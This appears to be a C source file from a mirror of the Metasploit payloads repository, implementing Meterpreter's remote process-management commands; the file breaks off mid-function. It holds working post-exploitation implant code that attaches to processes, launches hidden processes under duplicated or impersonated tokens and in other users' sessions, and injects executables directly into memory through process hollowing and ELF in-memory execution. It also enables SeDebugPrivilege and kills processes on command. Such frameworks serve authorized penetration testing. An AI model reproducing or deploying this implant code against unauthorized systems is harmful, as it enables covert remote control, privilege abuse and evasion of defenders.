1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-24 10:09:49 +02:00
2016-07-08 15:40:29 +09:00

1302 lines
34 KiB
C

#include "precomp.h"
#include "ps.h" // include the code for listing proceses
#ifdef _WIN32
#include "./../session.h"
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEnvironment, HANDLE hToken, BOOL bInherit );
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION );
#else
#include "linux-in-mem-exe.h"
#endif
/*
* Attaches to the supplied process identifier. If no process identifier is
* supplied, the handle for the current process is returned to the requestor.
*
* req: TLV_TYPE_PID - The process to attach to.
*/
DWORD request_sys_process_attach(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
#ifdef _WIN32
HANDLE handle = NULL;
DWORD result = ERROR_SUCCESS;
DWORD pid;
// Get the process identifier that we're attaching to, if any.
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);
// No pid? Use current.
if (!pid)
handle = GetCurrentProcess();
// Otherwise, attach.
else
{
BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT);
DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS);
handle = OpenProcess(permission, inherit, pid);
}
// If we have a handle, add it to the response
if (handle)
packet_add_tlv_qword(response, TLV_TYPE_HANDLE, (QWORD)handle);
else
result = GetLastError();
#else
DWORD result = ERROR_NOT_SUPPORTED;
#endif
// Send the response packet to the requestor
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Closes a handle that was opened via the attach method
*
* req: TLV_TYPE_HANDLE - The process handle to close.
*/
DWORD request_sys_process_close(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
HANDLE handle;
DWORD result = ERROR_SUCCESS;
handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
if (handle)
{
#ifdef _WIN32
if (handle != GetCurrentProcess())
CloseHandle(handle);
#else
// XXX ... not entirely sure this ports across.
#endif
}
else
result = ERROR_INVALID_PARAMETER;
// Send the response packet to the requestor
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
#ifndef _WIN32
int try_open_pty(int *master, int *slave)
{
int lmaster, lslave;
char path[512];
struct termios newtio;
lmaster = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if(lmaster == -1) return -1;
dprintf("master fd is %d", lmaster);
if(grantpt(lmaster) == -1) {
close(lmaster);
return -1;
}
if(unlockpt(lmaster) == -1) {
close(lmaster);
return -1;
}
memset(path, 0, sizeof(path));
if(ptsname_r(lmaster, path, sizeof(path)-2) == -1) {
close(lmaster);
return -1;
}
lslave = open(path, O_RDWR | O_NOCTTY);
if(lslave == -1) {
close(lmaster);
return -1;
}
*master = lmaster;
*slave = lslave;
if(tcgetattr(lmaster, &newtio) == -1)
// oh well
return 0;
// man 3 termios for more information (under linux, at least).
newtio.c_lflag |= (ISIG|ICANON);
newtio.c_lflag &= ~ECHO;
// can't do anything about it if it fails
tcsetattr(lmaster, TCSANOW, &newtio);
return 0;
}
#endif
/*
* Executes a process using the supplied parameters, optionally creating a
* channel through which output is filtered.
*
* req: TLV_TYPE_PROCESS_PATH - The executable to launch
* req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass
* req: TLV_TYPE_FLAGS - The flags to execute with
*/
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
Tlv inMemoryData;
BOOL doInMemory = FALSE;
#ifdef _WIN32
PROCESS_INFORMATION pi;
STARTUPINFO si;
HANDLE in[2], out[2];
PCHAR path, arguments, commandLine = NULL;
DWORD flags = 0, createFlags = 0;
BOOL inherit = FALSE;
HANDLE token, pToken;
char * cpDesktop = NULL;
DWORD session = 0;
LPVOID pEnvironment = NULL;
LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL;
LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
HMODULE hUserEnvLib = NULL;
ProcessChannelContext * ctx = NULL;
dprintf( "[PROCESS] request_sys_process_execute" );
// Initialize the startup information
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
memset( &si, 0, sizeof(STARTUPINFO) );
si.cb = sizeof(STARTUPINFO);
// Initialize pipe handles
in[0] = NULL;
in[1] = NULL;
out[0] = NULL;
out[1] = NULL;
do
{
// No response? We suck.
if (!response)
{
break;
}
// Get the execution arguments
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
{
doInMemory = TRUE;
createFlags |= CREATE_SUSPENDED;
}
if (flags & PROCESS_EXECUTE_FLAG_DESKTOP)
{
do
{
cpDesktop = (char *)malloc(512);
if (!cpDesktop)
break;
memset(cpDesktop, 0, 512);
lock_acquire(remote->lock);
_snprintf(cpDesktop, 512, "%s\\%s", remote->curr_station_name, remote->curr_desktop_name);
lock_release(remote->lock);
si.lpDesktop = cpDesktop;
} while (0);
}
// If the remote endpoint provided arguments, combine them with the
// executable to produce a command line
if (path && arguments)
{
size_t commandLineLength = strlen(path) + strlen(arguments) + 2;
if (!(commandLine = (PCHAR)malloc(commandLineLength)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
_snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
}
else if (path)
{
commandLine = path;
}
else
{
result = ERROR_INVALID_PARAMETER;
break;
}
// If the channelized flag is set, create a pipe for stdin/stdout/stderr
// such that input can be directed to and from the remote endpoint
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
PoolChannelOps chops;
Channel *newChannel;
// Allocate the channel context
if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memset(&chops, 0, sizeof(PoolChannelOps));
// Initialize the channel operations
dprintf("[PROCESS] context address 0x%p", ctx);
chops.native.context = ctx;
chops.native.write = process_channel_write;
chops.native.close = process_channel_close;
chops.native.interact = process_channel_interact;
chops.read = process_channel_read;
// Allocate the pool channel
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Set the channel's type to process
channel_set_type(newChannel, "process");
// Allocate the stdin and stdout pipes
if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
{
channel_destroy(newChannel, NULL);
newChannel = NULL;
free(ctx);
result = GetLastError();
break;
}
// Initialize the startup info to use the pipe handles
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdInput = in[0];
si.hStdOutput = out[1];
si.hStdError = out[1];
inherit = TRUE;
createFlags |= CREATE_NEW_CONSOLE;
// Set the context to have the write side of stdin and the read side
// of stdout
ctx->pStdin = in[1];
ctx->pStdout = out[0];
// Add the channel identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
}
// If the hidden flag is set, create the process hidden
if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
{
si.dwFlags |= STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
createFlags |= CREATE_NO_WINDOW;
}
// Should we create the process suspended?
if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
createFlags |= CREATE_SUSPENDED;
if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
{
// If there is an impersonated token stored, use that one first, otherwise
// try to grab the current thread token, then the process token
if (remote->thread_token)
{
token = remote->thread_token;
dprintf("[execute] using thread impersonation token");
}
else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token))
{
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);
}
dprintf("[execute] token is 0x%.8x", token);
// Duplicate to make primary token (try delegation first)
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken))
{
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken))
{
result = GetLastError();
dprintf("[execute] failed to duplicate token 0x%.8x", result);
break;
}
}
hUserEnvLib = LoadLibrary("userenv.dll");
if (NULL != hUserEnvLib)
{
lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock");
lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock");
if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock(&pEnvironment, pToken, FALSE))
{
createFlags |= CREATE_UNICODE_ENVIRONMENT;
dprintf("[execute] created a duplicated environment block");
}
else
{
pEnvironment = NULL;
}
}
// Try to execute the process with duplicated token
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi))
{
LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
HANDLE hAdvapi32 = NULL;
wchar_t * wcmdline = NULL;
wchar_t * wdesktop = NULL;
size_t size = 0;
result = GetLastError();
// sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only
// available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO.
if (result == ERROR_PRIVILEGE_NOT_HELD)
{
do
{
hAdvapi32 = LoadLibrary("advapi32.dll");
if (!hAdvapi32)
{
break;
}
pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress(hAdvapi32, "CreateProcessWithTokenW");
if (!pCreateProcessWithTokenW)
{
break;
}
// convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)...
size = mbstowcs(NULL, commandLine, 0);
if (size == (size_t)-1)
{
break;
}
wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
mbstowcs(wcmdline, commandLine, size);
if (si.lpDesktop)
{
size = mbstowcs(NULL, (char *)si.lpDesktop, 0);
if (size != (size_t)-1)
{
wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
mbstowcs(wdesktop, (char *)si.lpDesktop, size);
si.lpDesktop = (LPSTR)wdesktop;
}
}
if (!pCreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi))
{
result = GetLastError();
dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result);
break;
}
result = ERROR_SUCCESS;
} while (0);
if (hAdvapi32)
{
FreeLibrary(hAdvapi32);
}
SAFE_FREE(wdesktop);
SAFE_FREE(wcmdline);
}
else
{
dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result);
break;
}
}
if (lpfnDestroyEnvironmentBlock && pEnvironment)
{
lpfnDestroyEnvironmentBlock(pEnvironment);
}
if (NULL != hUserEnvLib)
{
FreeLibrary(hUserEnvLib);
}
}
else if (flags & PROCESS_EXECUTE_FLAG_SESSION)
{
typedef BOOL(WINAPI * WTSQUERYUSERTOKEN)(ULONG SessionId, PHANDLE phToken);
WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
HANDLE hToken = NULL;
HMODULE hWtsapi32 = NULL;
BOOL bSuccess = FALSE;
DWORD dwResult = ERROR_SUCCESS;
do
{
// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
hWtsapi32 = LoadLibraryA("wtsapi32.dll");
session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION);
if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
{
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
{
BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
}
}
else
{
pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress(hWtsapi32, "WTSQueryUserToken");
if (!pWTSQueryUserToken)
{
BREAK_ON_ERROR("[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed");
}
if (!pWTSQueryUserToken(session, &hToken))
{
BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
}
if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
{
BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
}
}
} while (0);
if (hWtsapi32)
{
FreeLibrary(hWtsapi32);
}
if (hToken)
{
CloseHandle(hToken);
}
result = dwResult;
if (result != ERROR_SUCCESS)
{
break;
}
}
else
{
// Try to execute the process
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
{
result = GetLastError();
break;
}
}
//
// Do up the in memory exe execution if the user requested it
//
if (doInMemory)
{
//
// Unmap the dummy executable and map in the new executable into the
// target process
//
if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, inMemoryData.buffer))
{
result = GetLastError();
break;
}
//
// Resume the thread and let it rock...
//
if (ResumeThread(pi.hThread) == (DWORD)-1)
{
result = GetLastError();
break;
}
}
// check for failure here otherwise we can get a case where we
// failed but return a process id and this will throw off the ruby side.
if (result == ERROR_SUCCESS)
{
// if we managed to successfully create a channelized process, we need to retain
// a handle to it so that we can shut it down externally if required.
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED
&& ctx != NULL)
{
dprintf("[PROCESS] started process 0x%x", pi.hProcess);
ctx->pProcess = pi.hProcess;
}
// Add the process identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);
packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess);
CloseHandle(pi.hThread);
}
} while (0);
// Close the read side of stdin and the write side of stdout
if (in[0])
{
CloseHandle(in[0]);
}
if (out[1])
{
CloseHandle(out[1]);
}
// Free the command line if necessary
if (path && arguments && commandLine)
{
free(commandLine);
}
if( cpDesktop )
{
free( cpDesktop );
}
#else
PCHAR path, arguments;;
DWORD flags;
char *argv[8], *command_line;
int cl_len = 0;
int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors
int master = -1, slave = -1;
int devnull = -1;
int idx, i;
pid_t pid;
int have_pty = -1;
ProcessChannelContext * ctx = NULL;
int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN);
dprintf( "[PROCESS] request_sys_process_execute" );
do {
// Get the execution arguments
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)");
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
{
doInMemory = TRUE;
}
// how to handle a single string argument line? we don't have a lexer/parser to
// correctly handle stuff like quotes, etc. could dumbly parse on white space to
// build arguments for execve. revert to /bin/sh -c style execution?
// XXX.. don't feel like messing with it atm
idx = 0;
if(arguments) {
// Add one for the null, one for the space
cl_len = strlen(path) + strlen(arguments) + 2;
command_line = malloc(cl_len);
memset(command_line, 0, cl_len);
strcat(command_line, path);
strcat(command_line, " ");
strcat(command_line, arguments);
argv[idx++] = "sh";
argv[idx++] = "-c";
argv[idx++] = command_line;
path = "/bin/sh";
} else {
argv[idx++] = path;
}
argv[idx++] = NULL;
//for (i = 0; i < idx; i++) {
// dprintf(" argv[%d] = %s", i, argv[i]);
//}
// If the channelized flag is set, create a pipe for stdin/stdout/stderr
// such that input can be directed to and from the remote endpoint
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
PoolChannelOps chops;
Channel *newChannel;
// Allocate the channel context
if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memset(&chops, 0, sizeof(PoolChannelOps));
// Initialize the channel operations
dprintf( "[PROCESS] context address 0x%p", ctx );
chops.native.context = ctx;
chops.native.write = process_channel_write;
chops.native.close = process_channel_close;
chops.native.interact = process_channel_interact;
chops.read = process_channel_read;
// Allocate the pool channel
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Set the channel's type to process
channel_set_type(newChannel, "process");
have_pty = !try_open_pty(&master, &slave);
if(have_pty)
{
ctx->pStdin = master;
ctx->pStdout = master;
} else {
// fall back to pipes if there is no tty
// Allocate the stdin and stdout pipes
if(pipe(&in) || pipe(&out))
{
channel_destroy(newChannel, NULL);
newChannel = NULL;
free(ctx);
result = GetLastError();
break;
}
// Set the context to have the write side of stdin and the read side
// of stdout
ctx->pStdin = in[1];
ctx->pStdout = out[0];
}
fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK);
fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK);
// Add the channel identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
} else {
// need to /dev/null it all
if( (devnull = open("/dev/null", O_RDONLY) ) == -1) {
// XXX This is possible, due to chroots etc. We could close
// fd 0/1/2 and hope the program isn't buggy.
result = GetLastError();
break;
}
}
/*
* We can create "hidden" processes via clone() instead of fork()
* clone(child_stack, flags = CLONE_THREAD) should do the trick. Probably worth while as well.
* memory / fd's etc won't be shared. linux specific syscall though.
*/
pid = fork();
switch(pid) {
case -1:
result = errno;
break;
case 0:
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
if(have_pty)
{
dup2(slave, 0);
dup2(slave, 1);
dup2(slave, 2);
} else {
dup2(in[0], 0);
dup2(out[1], 1);
dup2(out[1], 2);
}
} else {
dup2(devnull, 0);
dup2(devnull, 1);
dup2(devnull, 2);
}
for(i = 3; i < 1024; i++) close(i);
if(doInMemory)
{
int found;
Elf32_Ehdr *ehdr = (Elf32_Ehdr *)inMemoryData.buffer;
Elf32_Phdr *phdr = (Elf32_Phdr *)(inMemoryData.buffer + ehdr->e_phoff);
for(found = 0, i = 0; i < ehdr->e_phnum; i++, phdr++) {
if(phdr->p_type == PT_LOAD) {
found = 1;
break;
}
}
if(! found) return; // XXX, not too much we can do in this case ?
perform_in_mem_exe(argv, environ, inMemoryData.buffer, inMemoryData.header.length, phdr->p_vaddr & ~4095, ehdr->e_entry);
} else {
execve(path, argv, environ);
}
dprintf("failed to execute program, exit(EXIT_FAILURE) time");
dprintf("doInMemory = %d, hidden = %d", doInMemory, hidden);
exit(EXIT_FAILURE);
default:
dprintf("child pid is %d\n", pid);
packet_add_tlv_uint(response, TLV_TYPE_PID, (DWORD)pid);
packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pid);
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
if(have_pty) {
dprintf("child channelized\n");
close(slave);
ctx->pProcess = (HANDLE)pid;
} else {
close(in[0]);
close(out[1]);
close(out[2]);
}
}
break;
}
} while(0);
#endif
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Kills one or more supplied processes
*
* req: TLV_TYPE_PID [n]
*/
DWORD request_sys_process_kill(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
Tlv pidTlv;
DWORD index = 0;
while ((packet_enum_tlv(packet, index++, TLV_TYPE_PID,
&pidTlv) == ERROR_SUCCESS) &&
(pidTlv.header.length >= sizeof(DWORD)))
{
DWORD pid = ntohl(*(LPDWORD)pidTlv.buffer);
HANDLE h = NULL;
#ifdef _WIN32
// Try to attach to the process
if (!(h = OpenProcess(PROCESS_TERMINATE, FALSE, pid)))
{
result = GetLastError();
break;
}
if (!TerminateProcess(h, 0))
result = GetLastError();
CloseHandle(h);
#else
kill(pid, 9);
#endif
}
// Transmit the response
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Gets the list of active processes (including their PID, name, user, arch and path)
* and sends the information back to the requestor. See ps.c for the guts of this.
*/
DWORD request_sys_process_get_processes( Remote * remote, Packet * packet )
{
#ifdef _WIN32
Packet * response = NULL;
HANDLE hToken = NULL;
DWORD result = ERROR_SUCCESS;
do
{
response = packet_create_response( packet );
if( !response )
break;
// If we can, get SeDebugPrivilege...
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )
{
TOKEN_PRIVILEGES priv = {0};
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
CloseHandle( hToken );
}
// First we will try to get a process list via the toolhelp API. This method gives us the most information
// on all processes, including processes we cant actually open and all x64/x86 processes on x64 systems.
// However NT4 does not have the toolhelp API (but Win98 did!?!).
result = ps_list_via_toolhelp( response );
if( result != ERROR_SUCCESS )
{
// Second attempt is to use the PSAPI functions which may work on NT4 if the PSAPI patch has been applied.
result = ps_list_via_psapi( response );
if( result != ERROR_SUCCESS )
{
// Third method is to brute force the process list (and extract info from PEB) if all other methods have failed.
result = ps_list_via_brute( response );
}
}
packet_transmit_response( result, remote, response );
} while( 0 );
#else
DWORD result = ERROR_NOT_SUPPORTED;
Packet * response = packet_create_response( packet );
if (response) {
result = ps_list_linux( response );
packet_transmit_response( result, remote, response );
}
#endif
return result;
}
/*
* Handles the getpid request
*/
DWORD request_sys_process_getpid(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
#ifdef _WIN32
packet_add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId());
#else
packet_add_tlv_uint(response, TLV_TYPE_PID, getpid());
#endif
packet_transmit_response(ERROR_SUCCESS, remote, response);
return ERROR_SUCCESS;
}
/*
* Returns information about the supplied process handle.
*
* req: TLV_TYPE_HANDLE - The handle to gather information from.
*/
DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
#ifdef _WIN32
BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb,
LPDWORD needed);
DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base,
DWORD baseSize);
DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path,
DWORD pathSize);
HMODULE mod;
HANDLE psapi = NULL;
HANDLE handle;
DWORD result = ERROR_SUCCESS;
DWORD needed;
CHAR path[1024], name[256];
handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
do
{
// Valid response?
if (!response)
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Valid parameters?
if (!handle)
{
result = ERROR_INVALID_PARAMETER;
break;
}
// Open the process API
if (!(psapi = LoadLibrary("psapi")))
{
result = GetLastError();
break;
}
// Try to resolve the necessary symbols
if ((!((LPVOID)enumProcessModules =
(LPVOID)GetProcAddress(psapi, "EnumProcessModules"))) ||
(!((LPVOID)getModuleBaseName =
(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA"))) ||
(!((LPVOID)getModuleFileNameEx =
(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA"))))
{
result = GetLastError();
break;
}
memset(name, 0, sizeof(name));
memset(path, 0, sizeof(path));
// Enumerate the first module in the process and get its base name
if ((!enumProcessModules(handle, &mod, sizeof(mod), &needed) ||
(getModuleBaseName(handle, mod, name, sizeof(name) - 1) == 0)))
{
result = GetLastError();
break;
}
// Try to get the process' file name
getModuleFileNameEx(handle, mod, path, sizeof(path) - 1);
// Set the process' information on the response
packet_add_tlv_string(response, TLV_TYPE_PROCESS_NAME, name);
packet_add_tlv_string(response, TLV_TYPE_PROCESS_PATH, path);
} while (0);
// Transmit the response
packet_transmit_response(ERROR_SUCCESS, remote, response);
// Close the psapi library and clean up
if (psapi)
FreeLibrary(psapi);
#else
packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response);
#endif
return ERROR_SUCCESS;
}
/************************
* Process DIO handlers *
************************/
/*
* Reads directly from the output handle of the process
*
* FIXME: can-block
*/
DWORD process_channel_read(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
{
DWORD result = ERROR_SUCCESS;
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
dprintf("[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx);
if (ctx == NULL)
{
return result;
}
#ifdef _WIN32
if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL))
result = GetLastError();
#else
if ( (*bytesRead = read( ctx->pStdout, buffer, bufferSize )) < 0 ) {
result = GetLastError();
// Always return zero bytes read on error
*bytesRead = 0;
}
#endif
return result;
}
/*
* Writes data from the remote half of the channel to the process's standard
* input handle
*/
DWORD process_channel_write( Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten )
{
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (ctx == NULL)
{
return result;
}
#ifdef _WIN32
if ( !WriteFile( ctx->pStdin, buffer, bufferSize, bytesWritten, NULL ) )
result = GetLastError();
#else
if( (*bytesWritten = write( ctx->pStdin, buffer, bufferSize )) < 0 ) {
result = GetLastError();
}
#endif
return result;
}
/*
* Closes the channels that were opened to the process.
*/
DWORD process_channel_close( Channel *channel, Packet *request, LPVOID context )
{
DWORD result = ERROR_SUCCESS;
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (ctx == NULL)
{
return result;
}
if ( ctx->pProcess != NULL ) {
dprintf( "[PROCESS] channel has an attached process, closing via scheduler signal. channel=0x%08X, ctx=0x%08X", channel, ctx );
scheduler_signal_waitable( ctx->pStdout, Stop );
} else {
#ifdef _WIN32
CloseHandle( ctx->pStdin );
CloseHandle( ctx->pStdout );
#else
close( ctx->pStdin );
close( ctx->pStdout );
#endif
free( ctx );
}
return result;
}
DWORD process_channel_interact_destroy( HANDLE waitable, LPVOID entryContext, LPVOID threadContext )
{
ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext;
DWORD dwResult = ERROR_SUCCESS;
Channel *channel = (Channel *)entryContext;
dprintf( "[PROCESS] terminating context 0x%p", ctx );
if (ctx == NULL)
{
return dwResult;
}
#ifdef _WIN32
CloseHandle( ctx->pStdin );
CloseHandle( ctx->pStdout );
if( ctx->pProcess ) {
dprintf( "[PROCESS] terminating process 0x%x", ctx->pProcess );
TerminateProcess( ctx->pProcess, 0 );
}
#else
close( ctx->pStdin );
close( ctx->pStdout );
dprintf( "[PROCESS] pid %u", ctx->pProcess );
if( ctx->pProcess ) {
dprintf( "[PROCESS] terminating pid %u", ctx->pProcess );
kill( (pid_t)ctx->pProcess, 9 );
}
#endif
free( ctx );
if (channel_exists(channel))
{
channel->ops.pool.native.context = NULL;
}
return dwResult;
}
/*
* Callback for when data is available on the standard output handle of
* a process channel that is interactive mode
*/
DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOID threadContext)
{
Channel *channel = (Channel*)entryContext;
ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext;
DWORD bytesRead, bytesAvail = 0;
CHAR buffer[16384];
DWORD result = ERROR_SUCCESS;
if (!channel_exists(channel) || ctx == NULL)
{
return result;
}
#ifdef _WIN32
if( PeekNamedPipe( ctx->pStdout, NULL, 0, NULL, &bytesAvail, NULL ) )
{
if( bytesAvail )
{
if( ReadFile( ctx->pStdout, buffer, sizeof(buffer) - 1, &bytesRead, NULL ) )
{
return channel_write( channel, remote, NULL, 0, buffer, bytesRead, NULL );
}
result = GetLastError();
}
else
{
// sf: if no data is available on the pipe we sleep to avoid running a tight loop
// in this thread, as anonymous pipes won't block for data to arrive.
Sleep( 100 );
}
}
else
{
result = GetLastError();
}
#else
bytesRead = read ( ctx->pStdout, buffer, sizeof(buffer) - 1);
if ( bytesRead > 0 )
{
dprintf("bytesRead: %d, errno: %d", bytesRead, errno);
result = channel_write ( channel, remote, NULL, 0, buffer, bytesRead, NULL );
}
if(bytesRead == -1) {
if(errno == EINTR || errno == EWOULDBLOCK || errno == EAGAIN) {
errno = ERROR_SUCCESS;
}
}
if(bytesRead == 0) {
errno = ECONNRESET;
}
if(bytesRead <= 0) result = errno;
#endif
if( result != ERROR_SUCCESS )
{
dprintf("Closing down socket: result: %d\n", result);
